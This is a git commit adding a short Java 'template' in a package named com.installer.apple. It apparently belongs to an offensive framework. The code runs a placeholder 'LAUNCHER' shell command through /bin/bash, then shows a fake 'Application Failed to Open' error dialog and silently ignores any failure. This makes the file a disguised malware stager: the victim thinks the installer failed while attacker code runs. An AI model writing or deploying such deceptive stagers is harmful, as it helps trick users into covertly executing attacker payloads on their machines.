Added java template

mdns
xorrior 2016-09-29 11:57:58 -04:00
parent dead9f08a1
commit e3f1c1eb47
1 changed files with 21 additions and 0 deletions

View File

@ -0,0 +1,21 @@
package com.installer.apple;
import java.io.*;
import javax.swing.JOptionPane;
public class Run{
public static void main(String[] args){
String[] cmd = {
"/bin/bash",
"-c",
"LAUNCHER"
};
try {
Process p = Runtime.getRuntime().exec(cmd);
JOptionPane.showMessageDialog(null, "Application Failed to Open", "Error", JOptionPane.INFORMATION_MESSAGE);
}
catch (IOException e){}
}
}